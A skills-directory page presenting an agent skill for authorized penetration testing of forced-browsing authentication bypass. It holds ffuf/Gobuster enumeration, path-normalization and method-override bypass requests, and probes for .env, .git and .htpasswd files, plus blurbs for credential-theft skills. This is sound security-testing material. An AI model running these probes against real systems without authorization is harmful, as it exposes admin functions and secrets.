bypassing-authentication-with-forced-browsing skill

by mukul975·mukul975/Anthropic-Cybersecurity-Skills·34k stars·Apache-2.0

Discovering and accessing unprotected pages, APIs, and administrative

A100/100content scan

Is the bypassing-authentication-with-forced-browsing skill safe?

Clean: nothing in its files matched our rules. We read 4 files in the folder on 2026-09-28.

No findings.

Install the bypassing-authentication-with-forced-browsing skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.

git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git /tmp/Anthropic-Cybersecurity-Skills
mkdir -p ~/.claude/skills
cp -r /tmp/Anthropic-Cybersecurity-Skills/skills/bypassing-authentication-with-forced-browsing ~/.claude/skills/bypassing-authentication-with-forced-browsing

available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

Bypassing Authentication with Forced Browsing

When to Use

During authorized penetration tests to discover hidden or unprotected administrative pages
When testing whether authentication is consistently enforced across all application endpoints
For identifying backup files, configuration files, and debug interfaces left exposed in production
When assessing access control on API endpoints that should require authentication
During security audits to validate that all sensitive resources enforce session validation

Prerequisites

Authorization: Written penetration testing agreement covering directory enumeration
ffuf: Fast web fuzzer (go install github.com/ffuf/ffuf/v2@latest)
Gobuster: Directory brute-force tool (apt install gobuster)
Burp Suite: For intercepting and analyzing requests and responses
Wordlists: SecLists collection (git clone https://github.com/danielmiessler/SecLists.git)
Target access: Network connectivity and valid test credentials for authenticated comparison

Workflow

Step 1: Enumerate Hidden Directories and Files

Use ffuf or Gobuster to discover paths not linked in the application's navigation.

# Directory enumeration with ffuf
ffuf -u https://target.example.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -mc 200,301,302,403 \
  -fc 404 \
  -o results-dirs.json -of json \
  -t 50 -rate 100

# File enumeration with common extensions
ffuf -u https://target.example.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
  -e .php,.asp,.aspx,.jsp,.html,.js,.json,.xml,.bak,.old,.txt,.cfg,.conf,.env \
  -mc 200,301,302,403 \
  -fc 404 \
  -o results-files.json -of json \
  -t 50 -rate 100

# Gobuster for directory enumeration
gobuster dir -u https://target.example.com \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -s "200,204,301,302,307,403" \
  -x php,asp,aspx,jsp,html \
  -o gobuster-results.txt \
  -t 50

Step 2: Discover Administrative and Debug Interfaces

Target common administrative paths and debug endpoints.

# Admin panel enumeration
ffuf -u https://target.example.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -mc 200,301,302 \
  -t 50 -rate 100

# Common admin paths to check manually:
# /admin, /administrator, /admin-panel, /wp-admin
# /cpanel, /phpmyadmin, /adminer, /manager
# /console, /debug, /actuator, /swagger-ui
# /graphql, /graphiql, /.env, /server-status

# API endpoint discovery
ffuf -u https://target.example.com/api/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -mc 200,201,204,301,302,401,403 \
  -fc 404 \
  -o api-results.json -of json

# Check for Spring Boot Actuator endpoints
for endpoint in env health info beans configprops mappings trace; do
  curl -s -o /dev/null -w "%{http_code} /actuator/$endpoint\n" \
    "https://target.example.com/actuator/$endpoint"
done

Step 3: Test Authentication Enforcement on Discovered Endpoints

Compare responses between unauthenticated and authenticated requests.

# Test without authentication
curl -s -o /dev/null -w "%{http_code}" \
  "https://target.example.com/admin/dashboard"

# Test with valid session cookie
curl -s -o /dev/null -w "%{http_code}" \
  -b "session=valid_session_token_here" \
  "https://target.example.com/admin/dashboard"

# Automated check: compare response sizes
# Unauthenticated request
curl -s "https://target.example.com/admin/users" | wc -c

# Authenticated request
curl -s -b "session=valid_token" \
  "https://target.example.com/admin/users" | wc -c

# If both return similar content, authentication is not enforced

# Test with Burp Intruder: send a list of discovered URLs
# without cookies and flag any 200 responses

Step 4: Test HTTP Method-Based Authentication Bypass

Some applications only enforce authentication for specific HTTP methods.

# Test different HTTP methods on protected endpoints
for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE; do
  echo -n "$method: "
  curl -s -o /dev/null -w "%{http_code}" \
    -X "$method" "https://target.example.com/admin/settings"
done

# Test HTTP method override headers
curl -s -o /dev/null -w "%{http_code}" \
  -X POST \
  -H "X-HTTP-Method-Override: GET" \
  "https://target.example.com/admin/settings"

curl -s -o /dev/null -w "%{http_code}" \
  -H "X-Original-Method: GET" \
  -H "X-Rewrite-URL: /admin/settings" \
  "https://target.example.com/"

Step 5: Test Path Traversal and URL Normalization Bypass

Exploit URL parsing differences to bypass path-based authentication rules.

# Path normalization bypass attempts
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/ADMIN/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/./dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/public/../admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin%2fdashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/;/admin/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin;anything/dashboard"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/.;/admin/dashboard"

# Double URL encoding
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/%2561dmin/dashboard"

# Trailing characters
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard/"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard.json"
curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard%00"

Step 6: Discover Backup and Configuration Files

Search for sensitive files inadvertently exposed on the web server.

# Backup file discovery
ffuf -u https://target.example.com/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
  -e .bak,.old,.orig,.save,.swp,.tmp,.dist,.config,.sql,.gz,.tar,.zip \
  -mc 200 -t 50 -rate 100

# Common sensitive files
for file in .env .git/config .git/HEAD .svn/entries \
  web.config wp-config.php.bak config.php.old \
  database.yml .htpasswd server-status phpinfo.php \
  robots.txt sitemap.xml crossdomain.xml; do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://target.example.com/$file")
  if [ "$status" != "404" ]; then
    echo "FOUND ($status): $file"
  fi
done

# Git repository exposure check
curl -s "https://target.example.com/.git/HEAD"
# If this returns "ref: refs/heads/main", the git repo is exposed

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: Exposed Admin Panel

An admin panel at /admin/ is only hidden by not being linked in the navigation. Direct URL access reveals the full administrative interface without any authentication check.

Scenario 2: Unprotected API Endpoints

API endpoints at /api/v1/users and /api/v1/settings require authentication in the frontend application but the backend API does not enforce session validation, allowing unauthenticated direct access.

Scenario 3: Backup File Containing Credentials

A developer left config.php.bak on the production server. This backup file contains database credentials in plaintext, discovered through extension-based enumeration.

Scenario 4: Spring Boot Actuator Exposure

The /actuator/env endpoint is exposed without authentication, revealing environment variables including database connection strings, API keys, and secrets.

Output Format

## Forced Browsing / Authentication Bypass Finding

**Vulnerability**: Missing Authentication on Administrative Interface
**Severity**: Critical (CVSS 9.1)
**Location**: /admin/dashboard (GET, no authentication required)
**OWASP Category**: A01:2021 - Broken Access Control

### Discovered Unprotected Resources
| Path | Status | Auth Required | Content |
|------|--------|---------------|---------|
| /admin/dashboard | 200 | No | Full admin panel |
| /admin/users | 200 | No | User management |
| /actuator/env | 200 | No | Environment variables |
| /config.php.bak | 200 | No | Database credentials |
| /.git/HEAD | 200 | No | Git repository metadata |

### Impact
- Unauthenticated access to administrative functions
- Ability to create, modify, and delete user accounts
- Exposure of database credentials and API keys
- Full source code disclosure via exposed Git repository

### Recommendation
1. Implement authentication checks at the server/middleware level for all admin routes
2. Remove backup files, debug endpoints, and version control metadata from production
3. Configure web server to deny access to sensitive file extensions (.bak, .old, .env, .git)
4. Implement IP-based access restr

More skills from mukul975/Anthropic-Cybersecurity-Skills

Aabusing-dpapi-for-credential-accessExtract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.
Aabusing-shadow-credentials-for-privescTake over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.
Aachieving-cmmc-level-2-compliancePrepare a defense-contractor environment for CMMC Level 2 certification: scope CUI and FCI, implement the 110 NIST SP 800-171 Rev 2 security requirements across 14 families, compute the SPRS score with the DoD Assessment Methodology, manage a compliant POA&M, and ready the organization for a C3PAO assessment. Use when an organization handles Controlled Unclassified Information (CUI) under a DoD contract, when a contract carries DFARS clause 252.204-7012/7019/7020/7021, when preparing for or responding to a CMMC assessment, when computing or improving an SPRS score, when building a System Security Plan or POA&M for 800-171, or when scoping which systems are in the CUI boundary. Keywords: CMMC, CMMC Level 2, NIST 800-171, SP 800-171 Rev 2, CUI, FCI, SPRS, DFARS 7012, C3PAO, POA&M, System Security Plan, DoD Assessment Methodology, 110 controls, defense industrial base, DIB, FedRAMP equivalency.
Aacquiring-disk-image-with-dd-and-dcflddCreate forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.
Aanalyzing-active-directory-acl-abuseDetect dangerous ACL misconfigurations in Active Directory using ldap3
Aanalyzing-android-malware-with-apktoolPerform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.
Danalyzing-api-gateway-access-logs'Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect
Aanalyzing-apt-group-with-mitre-navigatorQuery ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups' TTPs for detection-gap analysis. Use to compare threat-actor technique coverage, find gaps in detection engineering, or produce Navigator visualizations for threat-intel reporting.
Aanalyzing-azure-activity-logs-for-threats'Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query
Aanalyzing-bootkit-and-rootkit-samples'Analyzes bootkit and advanced rootkit malware infecting the Master
Aanalyzing-browser-forensics-with-hindsightParse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user's web activity from a browser profile.
Aanalyzing-campaign-attribution-evidenceSystematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

All agent skills → · MCP servers